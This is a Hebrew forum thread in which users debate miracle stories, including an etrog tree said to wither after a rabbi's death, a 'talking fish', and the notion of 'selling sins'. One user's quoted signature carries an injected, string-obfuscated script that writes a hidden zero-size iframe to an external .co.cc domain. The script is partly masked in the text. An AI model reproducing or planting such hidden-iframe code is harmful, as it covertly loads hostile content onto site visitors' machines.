| נשלח ב-29/8/2011 15:53 |
 |
| |
לאיזה אשכול זה שייך?
http://www.bhol.co.il/Article.aspx?id=31466 פלא • הגרמ"י נפטר - ועץ האתרוגים החל לנבול במשך 60 שנה הניב העץ בחצר הגרמ"י ליפקוביץ זצ"ל אתרוגים רבים כברכת החזון-איש • במפתיע, מיד לאחר הפטירה - העץ שבק חיים • גדולי ישראל מודאגים: על מה יברכו בסוכות? בקושי חלפו שלושים יום מהסתלקותו של הגרמ"י ליפקוביץ זצ"ל - וסיפור מדהים מתפרסם היום (ב) אודות עץ האתרוגים המפורסם בחצר הבית ברחוב וילקומירר בבני-ברק. כידוע, הגרמ"י זצ"ל שתל בחצר ביתו גרעיני אתרוג בלתי מורכב, אותם קיבל מרבו, בעל 'החזון איש' זצ"ל. החזון איש ביקש להמשיך את זן האתרוגים הבלתי מורכבים שייסד - וראה את הגרמ"י כמתאים ביותר לכך. כשאמר הגרמ"י לחזון איש כי אינו מבין בגידול אתרוגים ואף חושש שהגידול יגזול ממנו זמן רב, השיבו החזון איש: "הקב"ה יכול במשב רוח אחד לשלוח את הברכה" - וכפי שאמר כך היה. במשך למעלה משישים שנה הניב העץ אתרוגים רבים עליהם מברכים מדי שנה גדולי ישראל, תלמידי החזון איש וכן בני משפחת ליפקוביץ הענפה. מאתרוגי העץ המקורי בחצר בית הגרמ"י נשתלו שדות אתרוגים רבים, הקרויים בשם 'זן חזון איש'. על פי מה שמתפרסם הבוקר בעיתון 'מרכז הענינים', מאז פטירתו של הגרמ"י, מצבו של העץ החצר הגרמ"י החל להידרדר - הפירות נשרו והפרחים נבלו. כשנודע הדבר לאדמו"ר מתולדות אהרן, שמקפיד אף הוא לברך מדי שנה על אתרוג מחצר הגרמ"י, שלח מומחים לעניני אתרוגים לבדוק את העצים. המגדלים שבו עם תשובה זהה: "העצים התייבשו - ולא ניכרת שום סיבה שהביאה לתוצאה המשונה הזו". חודשים וחצי לפני סוכות ובקרב בתיהם של גדולי ישראל תמהים מהיכן יקחו השנה אתרוג מהודר? תופעת הבאבות המסוכנת? על ילד הפלא שידע הכול? הדג המדבר? הבדלי אינטליגנציה בין מתנגדים לחסידים? מהו נס? בין רציונליזם למיסטיקה? הגולם מפראג?
 |
|
|
|
|
| נשלח ב-16/6/2013 23:15 |
|
| |
לאמור
איקון ירוק.
צדקת ממני, אבל כמדומה שאוכל לקיים את דברי.
גם הדג המדבר וגם העץ שיבש, אם יבש, הם אירועים שפורשו באופן מוטעה. וכל אחד מהם ניתן להסבר אחר, ולפעמים באופן שסותר לגמרי את כוונתו של המספר המאמין.
אמנם יש מקום לחשוד שהדג המדבר לא היה ולא נברא ואילו העץ יתכן שהיה וגם יבש אלא שיש לכך הסבר אחר. וכן יש לשער גם לגבי דברים אחרים שהוזכרו כאן או באשכול המקביל על הדג המדבר.
ובזה צדקת.
אבל הסיבה שאני משייך את כולם לאותו סוג היא לא מידת האפשרות שדג ידבר או שעץ יפרח או ימות לפי מה שעובר על צדיק או ת"ח פלוני, אלא על הנטיה לפרש אירועים כאילו הם מכוונים באופן מוגזם לתועלתו של אדם פרטי או בכל אופן חריג אחר כפי שמובא כאן ושם.
הפרשנות הבעייתית, לדעתי, היא הנושא שמאחד את כל הסיפורים והמעשים, למרות ההבדל החשוב שהצבעת עליו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-16/6/2013 21:43 |
|
| |
| מיימוני כתב: |  | הדג המדבר
ועוד סיפורי מופתים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
לא מסכים, (מחילה).
יש הבדל ברור בין היטפלות לצירופי מקרים נפוצים יותר או פחות (בהנחה שזהו סיפורו של עץ האתרוגים),
לבין סיפורי מופת על דברים שלכאורה מעולם לא התרחשו במציאות.
באשר לסוג הראשון משתמשים בה גם אנשים רציונלים לחלוטין מימות יהושע בן נון עד הנה,
והסיבה לשימוש היא משום שההנחה הפשוטה אצל מחשבי חשבונות האלוקים, הוא שיש סיבה ומסובב ועובדה שהצירוף גלוי לעיניהם מובילה אותם לחשוב אותו כראיה שזה הסיבה וזה המסובב.
לא כן סיפורי הדמיונות מהסוג של הדג המדבר, שהם נחלתם של חלק ספציפי מאוד (ואולי לא מאוד, אבל ספציפי) בעם ישראל.
|
|
|
|
| נשלח ב-16/6/2013 11:28 |
|
| |
מיימוני,
יסוד היסודות וכו' של הכלכלה הקפיטליסטית הוא, שכל עוד יש מוכר ויש קונה, ניתן למכור הכל.
ואיביי יוכיח.
|
|
|
|
| נשלח ב-16/6/2013 07:32 |
|
| |
כעת ראיתי את הסיפור על מכירת העוונות לנהג הגוי.
ועל ההמשך כאשר המוכר טבע באגם ומת. מסכן.
שתי הערות. ואני מתחיל מהסוף.
ב. מדוע הוא מת? האם ליבו אמר לו שהוא הולך למות ולכן רצה למכור עבירות ולהיות נקי, או שההתעסקות בעבירות והפחד מהן גרמו לו למצב נפשי קשה שתרם למותו?
א. מה זה "למכור עוונות"? יש כאן שתי טעויות, והאחת נובעת מבורות. עד כמה שידוע לי, אין דבר כזה "למכור עוונות". (לכל היותר יש סיפור על אדמור שאמר לחסידו למכור מחלה שיש לו לגוי, וגם זה משונה מאד, וזה טוב כמובן פסיכוסומטית). כל התפיסה שאפשר למכור עוונות או אפילו עונשים היא גישה מאגית. אולי צריך לבאר למה אני מתכוון במילים אלו?
הטעות האחרת היא שצריך למכור עוונות כדי להתפטר מהם. וזו בורות. אפילו כתלמיד של ר' נחמן היה עליו לידע שאין שם אלא תשובה: חרטה, וידוי דברים, עזיבת החטא, קבלה לעתיד. ובכך האדם נקי מכל העוונות.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-15/6/2013 21:25 |
|
| |
סוד הינשוף http://www.bhol.co.il/Article.aspx?id=55630 הקטע הכי יפה לטעמי: "רב בית המדרש, הגאון רבי ישעיהו רוטנברג, שנשאל על כך - לא ידע מה להשיב לשואלים". מחזק את ההרגשה כי דווקא אתרי האינטרנט הכאילו פחות "סגורים" משמשים כר פורה להפצת והמצאת הבלים. הם גם נותנים בזה יותר אמון והשפה הירודה והרדודה הופכת את השיח לגרוטסקי על גבול הביזרי זו תופעה מעניינת בפני עצמה.
|
|
|
|
| נשלח ב-6/10/2011 22:11 |
|
| |
תוקן על ידי נורת_אזהרה ב- 06/10/2011 22:11:22
|
|
|
|
| נשלח ב-4/10/2011 19:34 |
|
| |
תלמיד, עד שאתה בא עלינו מדבר שלא בא לעולם מה עם כך שאין העבירה ברשותו גם בדיבור ובמעשה אין בידו הממונית חפץ שיכול למכור , אלא מאי, אותה מציאות שקיימת ביד החוטא בעשייה ובדיבור קיימת בחטא שגדרו מחשבה
|
|
|
|
| נשלח ב-4/10/2011 18:32 |
|
| |
pengalaman gagal untuk berbicara dengan anda dalam bahasa ibrani"
אבליוליוא"ז?
|
|
|
|
| נשלח ב-4/10/2011 18:27 |
|
| |
אוי ואבוי
הסברתי כאן היטב מדוע אני נרתע מכך
|
|
|
|
| נשלח ב-4/10/2011 17:21 |
|
| |
| דינוזאורוס כתב: | | אוי דינוזאורוס,אתה כרגיל מאמין כנראה יותר מדי ברצינות לסיפורי מעשיות...
צענע, לא מענישים על הבנת הנקרא, מדוע את כל כך נרתעת מכך? |
|
אוי דינוזאורוס
הרי לא מענישים על נימוקים אז מדוע אתה נרתע מכך?
|
|
|
|
| נשלח ב-4/10/2011 14:48 |
|
| |
| צענערענע כתב: | | אוי דינוזאורוס,אתה כרגיל מאמין כנראה יותר מדי ברצינות לסיפורי מעשיות... |
|
צענע, לא מענישים על הבנת הנקרא, מדוע את כל כך נרתעת מכך?
|
|
|
|
| נשלח ב-4/10/2011 11:36 |
|
| |
בשעת התפילה שבה אסור להפסיק בדיבור של חולין- חפץ ליבו של אחד החסידים להריח שמק טביקי.
פנה לחברו ואמר- השמיקני משמקך שמקיק. ענה לו בלשון בתמיה- אשמיקך משמקי? אשמ...
|
|
|
|
|
| נשלח ב-4/10/2011 07:21 |
|
| |
לכן הרהורי עבירה קשים מעבירה, כי היות ולא באו בפועל לעולם אי אפשר למוכרם כדין דבר שלא בא לעולם
|
|
|
|
|
